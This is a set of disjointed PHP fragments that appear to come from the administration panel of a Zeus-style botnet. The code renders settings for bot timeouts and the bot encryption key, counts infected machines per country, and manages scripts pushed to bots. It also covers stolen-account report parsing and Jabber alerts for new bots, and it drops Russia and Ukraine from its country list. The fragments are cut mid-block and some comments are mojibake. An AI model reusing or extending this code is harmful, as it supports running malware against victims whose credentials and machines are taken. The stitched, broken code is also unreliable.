echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_REPORTS), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_REPORTS_PATH, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('reports_path', htmlEntitiesEx($reports_path), 200, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', THEME_STRING_SPACE, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{TEXT}'), array(1, 'reports_to_db', 1, '', LNG_SYS_REPORTS_TODB), $reports_to_db ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', THEME_STRING_SPACE, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{TEXT}'), array(1, 'reports_to_fs', 1, '', LNG_SYS_REPORTS_TOFS), $reports_to_fs ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . '<tr>', '<td></td>', '<td>', '<label><input type="checkbox" name="reports_geoip" value="1" ', empty($GLOBALS['config']['reports_geoip']) ? '' : 'checked', '/> ', LNG_SYS_REPORTS_GEOIP, '</label>', '</td>', '</tr>', str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_BOTNET), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_BOTNET_TIMEOUT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('botnet_timeout', htmlEntitiesEx($botnet_timeout), 4, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_BOTNET_CRYPTKEY, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('botnet_cryptkey', htmlEntitiesEx($botnet_cryptkey), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END;
if (file_exists('system/gate/gate.plugin.404.php')) {
    $title = LNG_SYS_ALLOWED_COUNTRIES . ' ';
    $title .= ' <label> ' . '<input type="checkbox" name="allowed_countries_enabled" value="1" ' . (empty($config['allowed_countries_enabled']) ? '' : 'checked') . ' /> ' . LNG_SYS_ALLOWED_COUNTRIES_ENABLED . '</label>';
    echo str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $title), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN;
    /* allowed countries */
    $countries = array('--' => 'Unknown');
    $R = mysql_query('SELECT `c`, `country` FROM `ipv4toc` GROUP BY `c` ORDER BY `c` ASC;');
    while ($R && !is_bool($r = mysql_fetch_row($R))) {
        if (!in_array($r[0], array('RU', 'UA'))) {
            $countries[$r[0]] = $r[1];
        }
    }
    $allowed_countries = isset($config['allowed_countries']) ? explode(',', $config['allowed_countries']) : array_keys($countries);
    echo '<tr><td colspan=2><table id="allowed_countries" class="disabled"><tr><td>';
    $col_count = 12;
Exemple #10
0
// JavaScript скрипты.
///////////////////////////////////////////////////////////////////////////////////////////////////
$jsScript = 0;
$jsQa = addJsSlashes(LNG_SYS_LIST_ACTION_Q);
$jsScript = jsCheckAll('userslist', 'checkall', 'users[]') . "function ExecuteAction(){return confirm('{$jsQa}');}";
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списка.
///////////////////////////////////////////////////////////////////////////////////////////////////
$list = '';
if (!($r = mysqlQueryEx('cp_users', 'SELECT id, name, flag_enabled, comment FROM cp_users ORDER BY name ASC')) || @mysql_affected_rows() === 0) {
    $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, $r ? LNG_SYS_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $i = 0;
    while ($mt = @mysql_fetch_row($r)) {
        $urlEdit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;edit=' . $mt[0], strlen($mt[1]) > 0 ? htmlEntitiesEx($mt[1]) : '-'), THEME_LIST_ANCHOR);
        $urlStatus = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;status=' . $mt[0] . '&amp;enable=' . ($mt[2] > 0 ? 0 : 1), $mt[2] > 0 ? LNG_SYS_STATUS_ENABLED : LNG_SYS_STATUS_DISABLED), THEME_LIST_ANCHOR);
        $text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
        $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('users[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $urlEdit), $text) . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', $urlStatus), $text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', strlen($mt[3]) > 0 ? htmlEntitiesEx($mt[3]) : '-'), $text) . THEME_LIST_ROW_END;
        $i++;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Список действий.
$al = THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('usersaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_SYS_LIST_ACTION_ENABLE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_SYS_LIST_ACTION_DISABLE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_SYS_LIST_ACTION_REMOVE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMITMINI) . THEME_DIALOG_ITEM_ACTION_SEPARATOR . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_SYS_LIST_ACTION_ADD, ' onclick="window.location=\'' . QUERY_STRING_HTML . '&amp;new=-1\'"'), THEME_DIALOG_ITEM_ACTIONMINI) . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE;
//Вывод.
ThemeBegin(LNG_SYS, $jsScript, 0, 0);
echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('userslist', QUERY_SCRIPT_HTML, ' onsubmit="return ExecuteAction()"'), THEME_FORMGET_BEGIN) . FORM_CURRENT_MODULE . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, LNG_SYS_LIST_TITLE), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $al, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_FRAME) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, LNG_SYS_LIST_NAME, 'auto'), THEME_LIST_HEADER_L) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, LNG_SYS_LIST_STATUS, '1%'), THEME_LIST_HEADER_L) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, LNG_SYS_LIST_COMMENT, 'auto'), THEME_LIST_HEADER_L) . THEME_LIST_ROW_END . $list . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END . THEME_FORMGET_END;
ThemeEnd();
die;
Exemple #11
0
function ListElement(&$ci, $pd_name, $text, $size, $mtime)
{
    $theme = $ci % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
    $ci++;
    return THEME_LIST_ROW_BEGIN . ($pd_name === 0 ? str_replace(array('{WIDTH}', '{TEXT}'), array('auto', THEME_STRING_SPACE), $theme) : str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('files[]', htmlEntitiesEx($pd_name), ''), $ci % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2)) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $text), $theme) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', is_numeric($size) ? $size >= 0 ? numberFormatAsInt($size) : THEME_STRING_SPACE : $size), $ci % 2 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mtime == 0 ? THEME_STRING_SPACE : htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $mtime))), $ci % 2 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END;
}
function ThemeBegin($subtitle, $js_script, $popup_menu, $body_events)
{
    //Добавление JavaScript.
    $javascript = '';
    $body_js_events = $body_events === 0 ? '' : $body_events;
    if (!empty($js_script)) {
        $javascript .= str_replace('{SCRIPT}', $js_script, THEME_JAVASCRIPT_BODY);
    }
    if (!empty($popup_menu)) {
        $javascript .= str_replace('{SCRIPT}', $popup_menu, THEME_JAVASCRIPT_BODY) . str_replace('{PATH}', THEME_PATH . '/popupmenu.js', THEME_JAVASCRIPT_EXTERNAL);
        $body_js_events .= ' onclick="jsmHideLastMenu()"';
    }
    //Добавление главного меню.
    $hidden_items = array('reports_accparse');
    $conjoined_items = array(array('botnet_vnc', 'reports_accparse'));
    // First, cleanup the menu so we don't have extra items
    $mainMenu = array();
    # Add only the installed items (plugin)
    foreach ($GLOBALS['mainMenu'] as $item) {
        if ($item[0] === 0 || file_exists("system/{$item[0]}.php")) {
            // remove if the file is missing
            $mainMenu[] = $item;
        }
    }
    # Now, remove headings with empty contents
    $was_zero = false;
    foreach (array_reverse($mainMenu, true) as $i => $item) {
        if ($item[0] === 0 && $was_zero) {
            unset($mainMenu, $i);
        }
        $was_zero = $item[0] === 0;
    }
    $mainmenu = '';
    foreach ($GLOBALS['mainMenu'] as &$item) {
        if ($item[0] === 0) {
            $mainmenu .= str_replace('{TITLE}', $item[1], THEME_MAINMENU_SUBHEADER);
        } elseif (!empty($item[1]) && !in_array($item[0], $hidden_items) && file_exists("system/{$item[0]}.php")) {
            $is_current = strcmp(CURRENT_MODULE, $item[0]) === 0;
            foreach ($conjoined_items as $a) {
                if (in_array($item[0], $a) && in_array(CURRENT_MODULE, $a)) {
                    $is_current = true;
                }
            }
            # conjoined items
            $mvc = $item[0][0] == '/';
            $mainmenu .= '<div><img src="images/icon-' . ltrim($item[0], '/') . '.gif" />' . str_replace(array('{URL}', '{TEXT}'), array(QUERY_SCRIPT . '?m=' . ltrim($item[0], '/') . ($mvc ? '/index' : ''), $item[1]), $is_current ? THEME_MAINMENU_ITEM_CURRENT : THEME_MAINMENU_ITEM) . '</div>';
            $item[0] = ltrim($item[0], '/');
            # trim it in case someone else needs this
        }
    }
    $mainmenu .= '<div><strong>' . THEME_MAINMENU_SEPARATOR . str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_BLANK_HTML . 'logout', LNG_MM_LOGOUT), THEME_MAINMENU_ITEM) . '</strong></div>';
    header('Content-Type: ' . THEME_CONTENT_TYPE . '; charset=utf-8');
    httpNoCacheHeaders();
    $sere = array('{TITLE}' => LNG_TITLE, '{SUBTITLE}' => $subtitle, '{SUBTITLE_LINK}' => '?m=' . trim(CURRENT_MODULE, '/'), '{THEME_HTTP_PATH}' => THEME_PATH, '{JAVASCRIPT}' => $javascript, '{WIDTH}' => MAXLIMIT, '{BODY_JS_EVENTS}' => $body_js_events, '{MAINMENU}' => $mainmenu, '{INFO_TITLE}' => LNG_INFO, '{INFO_USERNAME_TITLE}' => LNG_INFO_USERNAME, '{INFO_USERNAME}' => htmlEntitiesEx($GLOBALS['userData']['name']), '{INFO_DATE_TITLE}' => LNG_INFO_DATE, '{INFO_DATE}' => htmlEntitiesEx(gmdate(LNG_FORMAT_DATE, CURRENT_TIME)), '{INFO_TIME_TITLE}' => LNG_INFO_TIME, '{INFO_TIME}' => htmlEntitiesEx(gmdate(LNG_FORMAT_TIME, CURRENT_TIME)), '{INFO_TIMEZONE}' => htmlEntitiesEx(date_default_timezone_get()), '{LANGUAGE}' => $GLOBALS['userData']['language'], '{BODY_PAGE}' => CURRENT_MODULE, '{BASE_HREF}' => '//' . $_SERVER['HTTP_HOST'] . '/' . $_SERVER['SCRIPT_NAME'], '{FLASHMSG}' => ThemeFlashMessages());
    echo str_replace(array_keys($sere), array_values($sere), file_get_contents(THEME_PATH . '/header.html'));
}
Exemple #13
0
    } else {
        header('Location: ' . QUERY_STRING . '&u=1');
        die;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Заполнение списков.
$languages = '';
foreach ($llist as $k => $v) {
    $languages .= str_replace(array('{VALUE}', '{TEXT}'), array($k, htmlEntitiesEx($v)), strcasecmp($language, $k) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
}
$screenshotFormats = '';
foreach ($screenshotTypes as $k => $v) {
    $screenshotFormats .= str_replace(array('{VALUE}', '{TEXT}'), array($k, htmlEntitiesEx($v)), strcasecmp($screenshotFormat, $k) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
}
$screenshotQualities = '';
for ($i = 5; $i <= 100; $i += 5) {
    $screenshotQualities .= str_replace(array('{VALUE}', '{TEXT}'), array($i, $i . '%'), $screenshotQuality >= $i && $screenshotQuality <= $i ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
}
ThemeBegin(LNG_SYS, 0, 0, 0);
//Вывод ошибок.
if (count($errors) > 0) {
    echo THEME_STRING_FORM_ERROR_1_BEGIN;
    foreach ($errors as $r) {
        echo $r . THEME_STRING_NEWLINE;
    }
    echo THEME_STRING_FORM_ERROR_1_END;
} else {
    if (isset($_GET['u'])) {
    $updateList['reports_jn_port'] = $jn_port;
    $updateList['reports_jn_to'] = $jn_to;
    $updateList['reports_jn_list'] = str_replace("\n", "", $jn_masks);
    $updateList['reports_jn_script'] = $jn_script;
    $updateList['reports_jn_logfile'] = $jn_logfile;
    if (!updateConfig($updateList)) {
        $errors[] = LNG_REPORTS_E3;
    } else {
        header('Location: ' . QUERY_STRING . '&u=1');
        die;
    }
}
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
// R'S <RІRѕRґ.
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
ThemeBegin(LNG_REPORTS, 0, 0, 0);
//R'S <RІRѕRґ RѕS € Pepsi ± RѕRє.
if (count($errors) > 0) {
    echo THEME_STRING_FORM_ERROR_1_BEGIN;
    foreach ($errors as $r) {
        echo $r . THEME_STRING_NEWLINE;
    }
    echo THEME_STRING_FORM_ERROR_1_END;
} else {
    if (isset($_GET['u'])) {
        echo THEME_STRING_FORM_SUCCESS_1_BEGIN . LNG_REPORTS_UPDATED . THEME_STRING_NEWLINE . THEME_STRING_FORM_SUCCESS_1_END;
    }
}
//R'S <RІRѕRґ C RѕSЂRјS <.
echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_REPORTS_OPTIONS), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{TEXT}'), array(2, 'enable', 1, '', LNG_REPORTS_OPTIONS_ENABLE), $jn_enabled ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_ACCOUNT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('account', htmlEntitiesEx($jn_account . '@' . $jn_server . ($jn_port == 5222 ? '' : ':' . $jn_port)), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_PASSWORD, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('password', htmlEntitiesEx($jn_password), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_TO, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('to', htmlEntitiesEx($jn_to), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_MASKS, THEME_DIALOG_ITEM_TEXT_TOP) . str_replace(array('{NAME}', '{ROWS}', '{COLS}', '{WIDTH}', '{TEXT}'), array('masks', 20, 100, INPUT_WIDTH, htmlEntitiesEx($jn_masks)), THEME_DIALOG_ITEM_INPUT_TEXTAREA) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_SCRIPT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('script', htmlEntitiesEx($jn_script), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_LOGFILE, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('logfile', htmlEntitiesEx($jn_logfile), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_REPORTS_SAVE, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . THEME_FORMPOST_END;
ThemeEnd();
function listCountries($name, $query)
{
    $data = str_replace('{WIDTH}', COUNTRYLIST_WIDTH . 'px', THEME_LIST_BEGIN);
    $r = mysqlQueryEx('botnet_list', 'SELECT `country`, COUNT(`country`) FROM `botnet_list` WHERE ' . $query . ' GROUP BY BINARY `country` ORDER BY COUNT(`country`) DESC, `country` ASC');
    if ($r && @mysql_affected_rows() > 0) {
        //RЎRѕSЃS, P ° RІR "SЏRμRј SЃRїReSЃRѕRє.
        $count = 0;
        $i = 0;
        $list = '';
        while ($m = mysql_fetch_row($r)) {
            $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($m[0])), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('8em', numberFormatAsInt($m[1])), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
            $count += $m[1];
            $i++;
        }
        //P-P ° RіRѕR "RѕRІRѕRє
        $data .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, sprintf($name, numberFormatAsInt($count))), THEME_LIST_TITLE) . $list;
    } else {
        $data .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf($name, 0)), THEME_LIST_TITLE) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, $r ? LNG_STATS_COUNTRYLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
    }
    return $data . THEME_LIST_END;
}
        if (!($rx = mysqlQueryEx('botnet_scripts_stat', "SELECT SUM(IF(type=1, 1, 0)), SUM(IF(type=2, 1, 0)), SUM(IF(type>2, 1, 0)) FROM botnet_scripts_stat WHERE extern_id='" . addslashes($mt[1]) . "'"))) {
            $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
        } else {
            $mx = @mysql_fetch_row($rx);
            $theme_text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
            $theme_num = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
            $url_edit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;view=' . $mt[0], strlen($mt[2]) > 0 ? htmlEntitiesEx($mt[2]) : '-'), THEME_LIST_ANCHOR);
            $url_status = $mt[3] > 0 ? LNG_BOTNET_STATUS_ENABLED : LNG_BOTNET_STATUS_DISABLED;
            if ($_allow_edit) {
                $url_status = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;status=' . $mt[0] . '&amp;enable=' . ($mt[3] > 0 ? 0 : 1), $url_status), THEME_LIST_ANCHOR);
            }
            $list .= THEME_LIST_ROW_BEGIN;
            if ($_allow_edit) {
                $list .= str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('scripts[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1);
            }
            $list .= str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_edit), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_status), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $mt[5]))), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt($mt[4])), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[0]) ? $mx[0] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[1]) ? $mx[1] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[2]) ? $mx[2] : 0)), $theme_num) . THEME_LIST_ROW_END;
        }
    }
    $list .= '<tr><td colspan=8>' . $PAGER->jPager3k('?' . mkuri(1, 'm') . '&page=%page%', null, 'jPager3k') . '</td></tr>';
    $list .= '<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css" />';
    $list .= '<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css" />';
    $list .= '<script type="text/javascript" src="theme/js/jPager3k/jPager3k.js"></script>';
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Список действий.
$al = '';
if ($_allow_edit) {
    $al = LNG_BOTNET_LIST_ACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('scriptsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_LIST_ACTION_ENABLE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_LIST_ACTION_DISABLE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_LIST_ACTION_RESET), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(3, LNG_BOTNET_LIST_ACTION_REMOVE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ITEM_ACTION_SEPARATOR . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_LIST_ACTION_ADD, ' onclick="window.location=\'' . QUERY_STRING_HTML . '&amp;new=-1\'"'), THEME_DIALOG_ITEM_ACTION) . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE;
    $al = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $al, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END;
function AddRowToTable($name, $query)
{
    if (!mysqlQueryEx($name, "INSERT INTO `{$name}` SET {$query}")) {
        ShowError("Failed to write row to table " . THEME_STRING_BOLD_BEGIN . "'{$name}'" . THEME_STRING_BOLD_END . ": %s" . htmlEntitiesEx(mysql_error()));
        return false;
    }
    return true;
}
    $updateList['reports_jn_botmasks'] = str_replace("\n", "", $jn_botmasks);
    /*O_o(/jabber-new-bot-notify)*/
    $updateList['reports_jn_script'] = $jn_script;
    $updateList['reports_jn_logfile'] = $jn_logfile;
    $updateList['reports_jn_masks'] = array('wentOnline' => preg_replace('~[\\r\\n]+~', "", isset($_POST['reports_jn_masks']['wentOnline']) ? $_POST['reports_jn_masks']['wentOnline'] : $config['reports_jn_masks']['wentOnline']), 'software' => preg_replace('~[\\r\\n]+~', "", isset($_POST['reports_jn_masks']['software']) ? $_POST['reports_jn_masks']['software'] : $config['reports_jn_masks']['software']), 'cmd' => preg_replace('~[\\r\\n]+~', "", isset($_POST['reports_jn_masks']['cmd']) ? $_POST['reports_jn_masks']['cmd'] : $config['reports_jn_masks']['cmd']));
    if (!updateConfig($updateList)) {
        $errors[] = LNG_REPORTS_E3;
    } else {
        header('Location: ' . QUERY_STRING . '&u=1');
        die;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
ThemeBegin(LNG_REPORTS, 0, 0, 0);
//Вывод ошибок.
if (count($errors) > 0) {
    echo THEME_STRING_FORM_ERROR_1_BEGIN;
    foreach ($errors as $r) {
        echo $r . THEME_STRING_NEWLINE;
    }
    echo THEME_STRING_FORM_ERROR_1_END;
} else {
    if (isset($_GET['u'])) {
        echo THEME_STRING_FORM_SUCCESS_1_BEGIN . LNG_REPORTS_UPDATED . THEME_STRING_NEWLINE . THEME_STRING_FORM_SUCCESS_1_END;
    }
}
//Вывод формы.
